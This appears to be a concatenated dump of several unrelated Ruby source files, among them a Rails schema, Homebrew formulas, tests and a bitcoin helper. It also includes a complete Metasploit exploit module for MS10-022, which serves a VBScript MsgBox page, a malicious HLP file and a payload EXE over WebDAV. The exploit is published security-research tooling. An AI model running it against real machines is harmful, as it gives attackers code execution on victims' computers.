clean? or raise("There are files that need to be committed first.")
end
def clean?
out, code = sh_with_code("git diff --exit-code")
code == 0
end
def tag_version
sh "git tag -a -m \"Version #{version}\" #{version_tag}"
Bundler.ui.confirm "Tagged #{version_tag}"
yield if block_given?
rescue
Bundler.ui.error "Untagged #{version_tag} due to error"
sh_with_code "git tag -d #{version_tag}"
raise
end
def version
gemspec.version
end
def version_tag
"v#{version}"
end
def name
gemspec.name
end
def sh(cmd, &block)
out, code = sh_with_code(cmd, &block)
code == 0 ? out : raise(out.empty? ? "Running `#{cmd}' failed. Run this command directly for more detailed output." : out)
end
def sh_with_code(cmd, &block)
outbuf = ''
Dir.chdir(base) {
outbuf = `#{cmd} 2>&1`
if $? == 0
block.call(outbuf) if block
end
}
[outbuf, $?]
end
end
end
| 27.972603 | 148 | 0.617042 |
bf57a800e1b3802d1d56cc6412a4349a83f259e9 | 4,309 | # encoding: utf-8
require 'spec_helper'
require 'carrierwave/orm/activerecord'
module Rails; end unless defined?(Rails)
describe CarrierWave::Compatibility::Paperclip do
before do
allow(Rails).to receive(:root).and_return('/rails/root')
allow(Rails).to receive(:env).and_return('test')
@uploader_class = Class.new(CarrierWave::Uploader::Base) do
include CarrierWave::Compatibility::Paperclip
version :thumb
version :list
end
@model = double('a model')
allow(@model).to receive(:id).and_return(23)
allow(@model).to receive(:ook).and_return('eek')
allow(@model).to receive(:money).and_return('monkey.png')
@uploader = @uploader_class.new(@model, :monkey)
end
after do
FileUtils.rm_rf(public_path)
end
describe '#store_path' do
it "should mimics paperclip default" do
expect(@uploader.store_path("monkey.png")).to eq("/rails/root/public/system/monkeys/23/original/monkey.png")
end
it "should interpolate the root path" do
allow(@uploader).to receive(:paperclip_path).and_return(":rails_root/foo/bar")
expect(@uploader.store_path("monkey.png")).to eq(Rails.root + "/foo/bar")
end
it "should interpolate the attachment" do
allow(@uploader).to receive(:paperclip_path).and_return("/foo/:attachment/bar")
expect(@uploader.store_path("monkey.png")).to eq("/foo/monkeys/bar")
end
it "should interpolate the id" do
allow(@uploader).to receive(:paperclip_path).and_return("/foo/:id/bar")
expect(@uploader.store_path("monkey.png")).to eq("/foo/23/bar")
end
it "should interpolate the id partition" do
allow(@uploader).to receive(:paperclip_path).and_return("/foo/:id_partition/bar")
expect(@uploader.store_path("monkey.png")).to eq("/foo/000/000/023/bar")
end
it "should interpolate the basename" do
allow(@uploader).to receive(:paperclip_path).and_return("/foo/:basename/bar")
expect(@uploader.store_path("monkey.png")).to eq("/foo/monkey/bar")
end
it "should interpolate the extension" do
allow(@uploader).to receive(:paperclip_path).and_return("/foo/:extension/bar")
expect(@uploader.store_path("monkey.png")).to eq("/foo/png/bar")
end
end
describe '.interpolate' do
before do
@uploader_class.interpolate :ook do |custom, style|
custom.model.ook
end
@uploader_class.interpolate :aak do |model, style|
style
end
end
it 'should allow you to add custom interpolations' do
allow(@uploader).to receive(:paperclip_path).and_return("/foo/:id/:ook")
expect(@uploader.store_path("monkey.png")).to eq('/foo/23/eek')
end
it 'mimics paperclips arguments' do
allow(@uploader).to receive(:paperclip_path).and_return("/foo/:aak")
expect(@uploader.store_path("monkey.png")).to eq('/foo/original')
end
context 'when multiple uploaders include the compatibility module' do
before do
@uploader_class_other = Class.new(CarrierWave::Uploader::Base) do
include CarrierWave::Compatibility::Paperclip
version :thumb
version :list
end
@uploader = @uploader_class_other.new(@model, :monkey)
end
it 'should not share custom interpolations' do
allow(@uploader).to receive(:paperclip_path).and_return("/foo/:id/:ook")
expect(@uploader.store_path('monkey.jpg')).to eq('/foo/23/:ook')
end
end
context 'when there are multiple versions' do
before do
@complex_uploader_class = Class.new(CarrierWave::Uploader::Base) do
include CarrierWave::Compatibility::Paperclip
interpolate :ook do |model, style|
'eek'
end
version :thumb
version :list
def paperclip_path
"#{public_path}/foo/:ook/:id/:style"
end
end
@uploader = @complex_uploader_class.new(@model, :monkey)
end
it 'should interpolate for all versions correctly' do
@file = File.open(file_path('test.jpg'))
@uploader.store!(@file)
expect(@uploader.thumb.path).to eq("#{public_path}/foo/eek/23/thumb")
expect(@uploader.list.path).to eq("#{public_path}/foo/eek/23/list")
end
end
end
end
| 30.560284 | 114 | 0.656069 |
d53e496e0b53cb0c14e4e3309b4b307b432b1f4f | 9,730 | ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'MS10-022 Microsoft Internet Explorer Winhlp32.exe MsgBox Code Execution',
'Description' => %q{
This module exploits a code execution vulnerability that occurs when a user
presses F1 on MessageBox originated from VBscript within a web page. When the
user hits F1, the MessageBox help functionaility will attempt to load and use
a HLP file from an SMB or WebDAV (if the WebDAV redirector is enabled) server.
This particular version of the exploit implements a WebDAV server that will
serve HLP file as well as a payload EXE. During testing warnings about the
payload EXE being unsigned were witnessed. A future version of this module
might use other methods that do not create such a warning.
},
'Author' =>
[
'Maurycy Prodeus', # Original discovery
'jduck' # Metasploit version
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2010-0483' ],
[ 'OSVDB', '62632' ],
[ 'MSB', 'MS10-023' ],
[ 'URL', 'http://www.microsoft.com/technet/security/advisory/981169.mspx' ],
[ 'URL', 'http://blogs.technet.com/msrc/archive/2010/02/28/investigating-a-new-win32hlp-and-internet-explorer-issue.aspx' ],
[ 'URL', 'http://isec.pl/vulnerabilities/isec-0027-msgbox-helpfile-ie.txt' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Compat' =>
{
'ConnectionType' => '-find',
}
},
'Platform' => 'win',
# Tested OK - Windows XP SP3 - jjd
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Internet Explorer on Windows',
{
# nothing here
}
]
],
'DisclosureDate' => 'Feb 26 2010',
'DefaultTarget' => 0))
register_options(
[
OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
], self.class)
end
def auto_target(cli, request)
agent = request.headers['User-Agent']
ret = nil
# Check for MSIE and/or WebDAV redirector requests
if agent =~ /(Windows NT 6\.0|MiniRedir\/6\.0)/
ret = targets[1]
elsif agent =~ /(Windows NT 5\.1|MiniRedir\/5\.1)/
ret = targets[1]
elsif agent =~ /(Windows NT 5\.2|MiniRedir\/5\.2)/
ret = targets[1]
elsif agent =~ /MSIE 7\.0/
ret = targets[1]
elsif agent =~ /MSIE 6\.0/
ret = targets[1]
else
print_status("Unknown User-Agent #{agent}")
end
ret
end
def on_request_uri(cli, request)
mytarget = target
if target.name == 'Automatic'
mytarget = auto_target(cli, request)
if (not mytarget)
send_not_found(cli)
return
end
end
# If there is no subdirectory in the request, we need to redirect.
if (request.uri == '/') or not (request.uri =~ /\/[^\/]+\//)
if (request.uri == '/')
subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
else
subdir = request.uri + '/'
end
print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
send_redirect(cli, subdir)
return
end
# dispatch WebDAV requests based on method first
case request.method
when 'OPTIONS'
process_options(cli, request, mytarget)
when 'PROPFIND'
process_propfind(cli, request, mytarget)
when 'GET'
process_get(cli, request, mytarget)
when 'PUT'
print_status("Sending 404 for PUT #{request.uri} ...")
send_not_found(cli)
else
print_error("Unexpected request method encountered: #{request.method}")
end
end
#
# GET requests
#
def process_get(cli, request, target)
print_status("Responding to GET request #{request.uri}")
# dispatch based on extension
if (request.uri =~ /\.hlp$/i)
#
# HLP requests sent by IE and the WebDav Mini-Redirector
#
print_status("Sending HLP")
# Transmit the compressed response to the client
send_response(cli, generate_hlp(target), { 'Content-Type' => 'application/octet-stream' })
elsif (request.uri =~ /calc\.exe$/i)
#
# send the EXE
#
print_status("Sending EXE")
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
exe = generate_payload_exe({ :code => p.encoded })
send_response(cli, exe, { 'Content-Type' => 'application/octet-stream' })
else
#
# HTML requests sent by IE and Firefox
#
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
name = rand_text_alphanumeric(rand(8)+8)
#path = get_resource.gsub(/\//, '\\')
path = request.uri.gsub(/\//, '\\')
unc = '\\\\' + my_host + path + name + '.hlp'
print_status("Using #{unc} ...")
html = %Q|<html>
<script type="text/vbscript">
MsgBox "Welcome! Press F1 to dismiss this dialog.", ,"Welcome!", "#{unc}", 1
</script>
</html>
|
print_status("Sending HTML page")
send_response(cli, html)
end
end
#
# OPTIONS requests sent by the WebDav Mini-Redirector
#
def process_options(cli, request, target)
print_status("Responding to WebDAV OPTIONS request")
headers = {
#'DASL' => '<DAV:sql>',
#'DAV' => '1, 2',
'Allow' => 'OPTIONS, GET, PROPFIND',
'Public' => 'OPTIONS, GET, PROPFIND'
}
send_response(cli, '', headers)
end
#
# PROPFIND requests sent by the WebDav Mini-Redirector
#
def process_propfind(cli, request, target)
path = request.uri
print_status("Received WebDAV PROPFIND request")
body = ''
if (path =~ /calc\.exe$/i)
# Uncommenting the following will use the target system's calc (as specified in the .hlp)
#print_status("Sending 404 for #{path} ...")
#send_not_found(cli)
#return
# Response for the EXE
print_status("Sending EXE multistatus for #{path} ...")
#<lp1:getcontentlength>45056</lp1:getcontentlength>
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
<lp2:executable>F</lp2:executable>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
elsif (path =~ /\.hlp/i)
print_status("Sending HLP multistatus for #{path} ...")
body = %Q|<?xml version="1.0"?>
<a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:">
<a:response>
</a:response>
</a:multistatus>
|
elsif (path =~ /\.manifest$/i) or (path =~ /\.config$/i) or (path =~ /\.exe/i)
print_status("Sending 404 for #{path} ...")
send_not_found(cli)
return
elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
# Response for anything else (generally just /)
print_status("Sending directory multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
else
print_status("Sending 404 for #{path} ...")
send_not_found(cli)
return
end
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
#
# Generate a HLP file that will trigger the vulnerability
#
def generate_hlp(target)
@hlp_data
end
#
# When exploit is called, load the runcalc.hlp file
#
def exploit
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
end
path = File.join(Msf::Config.data_directory, "exploits", "runcalc.hlp")
fd = File.open(path, "rb")
@hlp_data = fd.read(fd.stat.size)
fd.close
super
end
end
| 30.030864 | 135 | 0.586639 |
6a7ca46abdb3880553c114f88b12daa546ff9341 | 2,257 | class Haproxy < Formula
desc "Reliable, high performance TCP/HTTP load balancer"
homepage "https://www.haproxy.org/"
url "https://www.haproxy.org/download/2.3/src/haproxy-2.3.2.tar.gz"
sha256 "99cb73bb791a2cd18898d0595e14fdc820a6cbd622c762f4ed83f2884d038fd5"
livecheck do
url :homepage
regex(/href=.*?haproxy[._-]v?(\d+(?:\.\d+)+)\.t/i)
end
bottle do
cellar :any
sha256 "73cab440bcf2c460f8de97777e69f0524d360924dc00dad7c67d6d13bc78ce0c" => :big_sur
sha256 "c5d454dce2bda0e1005773f41ba4f27d524b825273ba3480a3238b3522676957" => :arm64_big_sur
sha256 "ddd43db6e11768717ceb234161341453b8c5d8515d54cc574d6e1bdef00395a3" => :catalina
sha256 "62c7104046ba005d2c7e7871e8d177b27e94ff87621e6e782170f6f641719fa3" => :mojave
sha256 "1ebd3337e2d1fbec135aeb3bc464f2952277876b336d313fe7ad03e1bf5a6021" => :x86_64_linux
end
depends_on "[email protected]"
depends_on "pcre"
def install
args = %W[
TARGET=#{OS.mac? ? "generic" : "linux-glibc"}
USE_POLL=1
USE_PCRE=1
USE_OPENSSL=1
USE_THREAD=1
USE_ZLIB=1
ADDLIB=-lcrypto
]
args << "USE_KQUEUE=1" if OS.mac?
# We build generic since the Makefile.osx doesn't appear to work
system "make", "CC=#{ENV.cc}", "CFLAGS=#{ENV.cflags}", "LDFLAGS=#{ENV.ldflags}", *args
man1.install "doc/haproxy.1"
bin.install "haproxy"
end
plist_options manual: "haproxy -f #{HOMEBREW_PREFIX}/etc/haproxy.cfg"
def plist
<<~EOS
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>#{plist_name}</string>
<key>KeepAlive</key>
<true/>
<key>ProgramArguments</key>
<array>
<string>#{opt_bin}/haproxy</string>
<string>-f</string>
<string>#{etc}/haproxy.cfg</string>
</array>
<key>StandardErrorPath</key>
<string>#{var}/log/haproxy.log</string>
<key>StandardOutPath</key>
<string>#{var}/log/haproxy.log</string>
</dict>
</plist>
EOS
end
test do
system bin/"haproxy", "-v"
end
end
| 30.917808 | 108 | 0.642889 |
1856f61261927b2f60f18ec5e523f4ae6aaf9ada | 419 | cask 'pdfelement-express' do
version '1.2.1,4133'
sha256 'dd60c96c53725e1165a951b5b8c6c82acfbf7d47b91f2ab06ed662326df7eb34'
url "http://download.wondershare.com/cbs_down/mac-pdfelement-express_full#{version.after_comma}.dmg"
name 'Wondershare PDFelement Express for Mac'
homepage 'https://pdf.wondershare.com/pdfelement-express-mac.html'
depends_on macos: '>= :sierra'
app 'PDFelement Express.app'
end
| 32.230769 | 102 | 0.785203 |
2629e297736332ea41859c15a14927172396dfdf | 7,516 | # This file is auto-generated from the current state of the database. Instead
# of editing this file, please use the migrations feature of Active Record to
# incrementally modify your database, and then regenerate this schema definition.
#
# Note that this schema.rb definition is the authoritative source for your
# database schema. If you need to create the application database on another
# system, you should be using db:schema:load, not running all the migrations
# from scratch. The latter is a flawed and unsustainable approach (the more migrations
# you'll amass, the slower it'll run and the greater likelihood for issues).
#
# It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema.define(version: 2019_05_28_103233) do
create_table "admins", options: "ENGINE=InnoDB DEFAULT CHARSET=latin1", force: :cascade do |t|
t.string "username", limit: 25, null: false
t.string "password_digest", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.index ["username"], name: "index_admins_on_username", unique: true
end
create_table "announcements", options: "ENGINE=InnoDB DEFAULT CHARSET=latin1", force: :cascade do |t|
t.text "content", null: false
t.date "valability", null: false
t.boolean "visible_to_teachers", null: false
t.integer "teacher_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
create_table "announcements_groups", id: false, options: "ENGINE=InnoDB DEFAULT CHARSET=latin1", force: :cascade do |t|
t.integer "announcement_id"
t.integer "group_id"
t.index ["announcement_id", "group_id"], name: "index_announcements_groups_on_announcement_id_and_group_id"
end
create_table "courses", options: "ENGINE=InnoDB DEFAULT CHARSET=latin1", force: :cascade do |t|
t.string "name", null: false
t.string "room", default: "TBA", null: false
t.string "teacher_first_name"
t.string "teacher_last_name"
t.string "start_time", null: false
t.string "end_time", null: false
t.string "day", null: false
t.string "kind", null: false
t.string "frequency", null: false
t.integer "teacher_id"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.index ["name"], name: "index_courses_on_name"
t.index ["teacher_first_name", "teacher_last_name"], name: "index_courses_on_teacher_first_name_and_teacher_last_name"
end
create_table "courses_groups", id: false, options: "ENGINE=InnoDB DEFAULT CHARSET=latin1", force: :cascade do |t|
t.integer "course_id"
t.integer "group_id"
t.index ["course_id", "group_id"], name: "index_courses_groups_on_course_id_and_group_id"
end
create_table "event_tokens", options: "ENGINE=InnoDB DEFAULT CHARSET=latin1", force: :cascade do |t|
t.string "token", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.index ["token"], name: "index_event_tokens_on_token", unique: true
end
create_table "events", options: "ENGINE=InnoDB DEFAULT CHARSET=latin1", force: :cascade do |t|
t.string "name", null: false
t.date "date", null: false
t.string "location", null: false
t.text "description", null: false
t.integer "student_id"
t.integer "teacher_id"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.index ["date"], name: "index_events_on_date"
t.index ["location"], name: "index_events_on_location"
t.index ["name"], name: "index_events_on_name"
end
create_table "events_students", id: false, options: "ENGINE=InnoDB DEFAULT CHARSET=latin1", force: :cascade do |t|
t.integer "event_id"
t.integer "student_id"
t.index ["event_id", "student_id"], name: "index_events_students_on_event_id_and_student_id"
end
create_table "events_teachers", id: false, options: "ENGINE=InnoDB DEFAULT CHARSET=latin1", force: :cascade do |t|
t.integer "event_id"
t.integer "teacher_id"
t.index ["event_id", "teacher_id"], name: "index_events_teachers_on_event_id_and_teacher_id"
end
create_table "groups", id: false, options: "ENGINE=InnoDB DEFAULT CHARSET=latin1", force: :cascade do |t|
t.integer "group_no", null: false
t.string "major", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.index ["group_no"], name: "index_groups_on_group_no", unique: true
end
create_table "optionals", options: "ENGINE=InnoDB DEFAULT CHARSET=latin1", force: :cascade do |t|
t.string "name", null: false
t.string "room", default: "TBA", null: false
t.string "teacher_first_name"
t.string "teacher_last_name"
t.string "start_time", null: false
t.string "end_time", null: false
t.string "day", null: false
t.string "kind", null: false
t.string "frequency", null: false
t.integer "teacher_id"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.index ["name"], name: "index_optionals_on_name"
t.index ["teacher_first_name", "teacher_last_name"], name: "index_optionals_on_teacher_first_name_and_teacher_last_name"
end
create_table "optionals_students", id: false, options: "ENGINE=InnoDB DEFAULT CHARSET=latin1", force: :cascade do |t|
t.integer "optional_id"
t.integer "student_id"
t.index ["optional_id", "student_id"], name: "index_optionals_students_on_optional_id_and_student_id"
end
create_table "student_tokens", options: "ENGINE=InnoDB DEFAULT CHARSET=latin1", force: :cascade do |t|
t.string "token", null: false
t.integer "group_no", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.index ["token"], name: "index_student_tokens_on_token", unique: true
end
create_table "students", options: "ENGINE=InnoDB DEFAULT CHARSET=latin1", force: :cascade do |t|
t.string "first_name", limit: 50, null: false
t.string "last_name", limit: 50, null: false
t.string "email", limit: 100, null: false
t.string "username", limit: 25, null: false
t.string "password_digest", null: false
t.integer "group_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.index ["email"], name: "index_students_on_email", unique: true
t.index ["first_name", "last_name"], name: "index_students_on_first_name_and_last_name"
t.index ["username"], name: "index_students_on_username", unique: true
end
create_table "teacher_tokens", options: "ENGINE=InnoDB DEFAULT CHARSET=latin1", force: :cascade do |t|
t.string "token", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.index ["token"], name: "index_teacher_tokens_on_token", unique: true
end
create_table "teachers", options: "ENGINE=InnoDB DEFAULT CHARSET=latin1", force: :cascade do |t|
t.string "first_name", limit: 50, null: false
t.string "last_name", limit: 50, null: false
t.string "email", limit: 100, null: false
t.string "username", limit: 25, null: false
t.string "password_digest", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.index ["email"], name: "index_teachers_on_email", unique: true
t.index ["first_name", "last_name"], name: "index_teachers_on_first_name_and_last_name"
t.index ["username"], name: "index_teachers_on_username", unique: true
end
end
| 44.738095 | 124 | 0.715141 |
79ce9d835af89bca6c9798efd037c831a6ff1a98 | 2,866 | module Bitcoin
# Ruby port of https://github.com/Blockstream/contracthashtool
module ContractHash
HMAC_DIGEST = OpenSSL::Digest.new('SHA256')
EC_GROUP = OpenSSL::PKey::EC::Group.new('secp256k1')
def self.hmac(pubkey, data)
OpenSSL::HMAC.hexdigest(HMAC_DIGEST, pubkey, data)
end
# generate a contract address
def self.generate(redeem_script_hex, payee_address_or_ascii, nonce_hex = nil)
redeem_script = Bitcoin::Script.new([redeem_script_hex].pack('H*'))
raise 'only multisig redeem scripts are currently supported' unless redeem_script.is_multisig?
nonce_hex, data = compute_data(payee_address_or_ascii, nonce_hex)
derived_keys = []
redeem_script.get_multisig_pubkeys.each do |pubkey|
tweak = hmac(pubkey, data).to_i(16)
raise 'order exceeded, pick a new nonce' if tweak >= EC_GROUP.order.to_i
tweak = OpenSSL::BN.new(tweak.to_s)
key = Bitcoin::Key.new(nil, pubkey.unpack('H*')[0])
key = key.instance_variable_get(:@key)
point = EC_GROUP.generator.mul(tweak).ec_add(key.public_key).to_bn.to_i
raise 'infinity' if point == 1 / 0.0
key = Bitcoin::Key.new(nil, point.to_s(16))
key.instance_eval { @pubkey_compressed = true }
derived_keys << key.pub
end
m = redeem_script.get_signatures_required
p2sh_script, redeem_script = Bitcoin::Script.to_p2sh_multisig_script(m, *derived_keys)
[nonce_hex, redeem_script.unpack('H*')[0], Bitcoin::Script.new(p2sh_script).get_p2sh_address]
end
# claim a contract
def self.claim(private_key_wif, payee_address_or_ascii, nonce_hex)
key = Bitcoin::Key.from_base58(private_key_wif)
data = compute_data(payee_address_or_ascii, nonce_hex)[1]
pubkey = [key.pub].pack('H*')
tweak = hmac(pubkey, data).to_i(16)
raise 'order exceeded, verify parameters' if tweak >= EC_GROUP.order.to_i
derived_key = (tweak + key.priv.to_i(16)) % EC_GROUP.order.to_i
raise 'zero' if derived_key.zero?
Bitcoin::Key.new(derived_key.to_s(16))
end
# compute HMAC data
def self.compute_data(address_or_ascii, nonce_hex)
nonce = nonce_hex ? [nonce_hex].pack('H32') : SecureRandom.random_bytes(16)
if Bitcoin.valid_address?(address_or_ascii)
address_type = case Bitcoin.address_type(address_or_ascii)
when :hash160 then 'P2PH'
when :p2sh then 'P2SH'
else
raise "unsupported address type #{address_type}"
end
contract_bytes = [Bitcoin.hash160_from_address(address_or_ascii)].pack('H*')
else
address_type = 'TEXT'
contract_bytes = address_or_ascii
end
[nonce.unpack('H*')[0], address_type + nonce + contract_bytes]
end
end
end
| 39.260274 | 100 | 0.660851 |
bbb88517cf77bcd9fcd8aecd969b0b19d63465e2 | 4,290 | require 'test/unit'
require_relative 'ruby/envutil'
# mathn redefines too much. It must be isolated to child processes.
class TestMathn < Test::Unit::TestCase
def test_power
stderr = $VERBOSE ? ["lib/mathn.rb is deprecated"] : []
assert_in_out_err ['-r', 'mathn', '-e', 'a=1**2;!a'], "", [], stderr, '[ruby-core:25740]'
assert_in_out_err ['-r', 'mathn', '-e', 'a=(1 << 126)**2;!a'], "", [], stderr, '[ruby-core:25740]'
assert_in_out_err ['-r', 'mathn/complex', '-e', 'a=Complex(0,1)**4;!a'], "", [], [], '[ruby-core:44170]'
assert_in_out_err ['-r', 'mathn/complex', '-e', 'a=Complex(0,1)**5;!a'], "", [], [], '[ruby-core:44170]'
end
def test_quo
stderr = $VERBOSE ? ["lib/mathn.rb is deprecated"] : []
assert_in_out_err ['-r', 'mathn'], <<-EOS, %w(OK), stderr, '[ruby-core:41575]'
1.quo(2); puts :OK
EOS
end
def test_floor
assert_separately(%w[-rmathn], <<-EOS, ignore_stderr: true)
assert_equal( 2, ( 13/5).floor)
assert_equal( 2, ( 5/2).floor)
assert_equal( 2, ( 12/5).floor)
assert_equal(-3, (-12/5).floor)
assert_equal(-3, ( -5/2).floor)
assert_equal(-3, (-13/5).floor)
assert_equal( 2, ( 13/5).floor(0))
assert_equal( 2, ( 5/2).floor(0))
assert_equal( 2, ( 12/5).floor(0))
assert_equal(-3, (-12/5).floor(0))
assert_equal(-3, ( -5/2).floor(0))
assert_equal(-3, (-13/5).floor(0))
assert_equal(( 13/5), ( 13/5).floor(2))
assert_equal(( 5/2), ( 5/2).floor(2))
assert_equal(( 12/5), ( 12/5).floor(2))
assert_equal((-12/5), (-12/5).floor(2))
assert_equal(( -5/2), ( -5/2).floor(2))
assert_equal((-13/5), (-13/5).floor(2))
EOS
end
def test_ceil
assert_separately(%w[-rmathn], <<-EOS, ignore_stderr: true)
assert_equal( 3, ( 13/5).ceil)
assert_equal( 3, ( 5/2).ceil)
assert_equal( 3, ( 12/5).ceil)
assert_equal(-2, (-12/5).ceil)
assert_equal(-2, ( -5/2).ceil)
assert_equal(-2, (-13/5).ceil)
assert_equal( 3, ( 13/5).ceil(0))
assert_equal( 3, ( 5/2).ceil(0))
assert_equal( 3, ( 12/5).ceil(0))
assert_equal(-2, (-12/5).ceil(0))
assert_equal(-2, ( -5/2).ceil(0))
assert_equal(-2, (-13/5).ceil(0))
assert_equal(( 13/5), ( 13/5).ceil(2))
assert_equal(( 5/2), ( 5/2).ceil(2))
assert_equal(( 12/5), ( 12/5).ceil(2))
assert_equal((-12/5), (-12/5).ceil(2))
assert_equal(( -5/2), ( -5/2).ceil(2))
assert_equal((-13/5), (-13/5).ceil(2))
EOS
end
def test_truncate
assert_separately(%w[-rmathn], <<-EOS, ignore_stderr: true)
assert_equal( 2, ( 13/5).truncate)
assert_equal( 2, ( 5/2).truncate)
assert_equal( 2, ( 12/5).truncate)
assert_equal(-2, (-12/5).truncate)
assert_equal(-2, ( -5/2).truncate)
assert_equal(-2, (-13/5).truncate)
assert_equal( 2, ( 13/5).truncate(0))
assert_equal( 2, ( 5/2).truncate(0))
assert_equal( 2, ( 12/5).truncate(0))
assert_equal(-2, (-12/5).truncate(0))
assert_equal(-2, ( -5/2).truncate(0))
assert_equal(-2, (-13/5).truncate(0))
assert_equal(( 13/5), ( 13/5).truncate(2))
assert_equal(( 5/2), ( 5/2).truncate(2))
assert_equal(( 12/5), ( 12/5).truncate(2))
assert_equal((-12/5), (-12/5).truncate(2))
assert_equal(( -5/2), ( -5/2).truncate(2))
assert_equal((-13/5), (-13/5).truncate(2))
EOS
end
def test_round
assert_separately(%w[-rmathn], <<-EOS, ignore_stderr: true)
assert_equal( 3, ( 13/5).round)
assert_equal( 3, ( 5/2).round)
assert_equal( 2, ( 12/5).round)
assert_equal(-2, (-12/5).round)
assert_equal(-3, ( -5/2).round)
assert_equal(-3, (-13/5).round)
assert_equal( 3, ( 13/5).round(0))
assert_equal( 3, ( 5/2).round(0))
assert_equal( 2, ( 12/5).round(0))
assert_equal(-2, (-12/5).round(0))
assert_equal(-3, ( -5/2).round(0))
assert_equal(-3, (-13/5).round(0))
assert_equal(( 13/5), ( 13/5).round(2))
assert_equal(( 5/2), ( 5/2).round(2))
assert_equal(( 12/5), ( 12/5).round(2))
assert_equal((-12/5), (-12/5).round(2))
assert_equal(( -5/2), ( -5/2).round(2))
assert_equal((-13/5), (-13/5).round(2))
EOS
end
end
| 35.454545 | 108 | 0.551282 |
b9e47ed5e8d06c0127ca15e899a0697cc4b6fe0e | 5,336 | require "active_support/core_ext/integer/time"
Rails.application.configure do
# Settings specified here will take precedence over those in config/application.rb.
# Code is not reloaded between requests.
config.cache_classes = true
# Eager load code on boot. This eager loads most of Rails and
# your application in memory, allowing both threaded web servers
# and those relying on copy on write to perform better.
# Rake tasks automatically ignore this option for performance.
config.eager_load = true
# Full error reports are disabled and caching is turned on.
config.consider_all_requests_local = false
config.action_controller.perform_caching = true
# Ensures that a master key has been made available in either ENV["RAILS_MASTER_KEY"]
# or in config/master.key. This key is used to decrypt credentials (and other encrypted files).
# config.require_master_key = true
# Disable serving static files from the `/public` folder by default since
# Apache or NGINX already handles this.
config.public_file_server.enabled = ENV['RAILS_SERVE_STATIC_FILES'].present?
# Compress CSS using a preprocessor.
# config.assets.css_compressor = :sass
# Do not fallback to assets pipeline if a precompiled asset is missed.
config.assets.compile = false
# Enable serving of images, stylesheets, and JavaScripts from an asset server.
# config.asset_host = 'http://assets.example.com'
# Specifies the header that your server uses for sending files.
# config.action_dispatch.x_sendfile_header = 'X-Sendfile' # for Apache
# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for NGINX
# Store uploaded files on the local file system (see config/storage.yml for options).
config.active_storage.service = :local
# Mount Action Cable outside main process or domain.
# config.action_cable.mount_path = nil
# config.action_cable.url = 'wss://example.com/cable'
# config.action_cable.allowed_request_origins = [ 'http://example.com', /http:\/\/example.*/ ]
# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
# config.force_ssl = true
# Include generic and useful information about system operation, but avoid logging too much
# information to avoid inadvertent exposure of personally identifiable information (PII).
config.log_level = :info
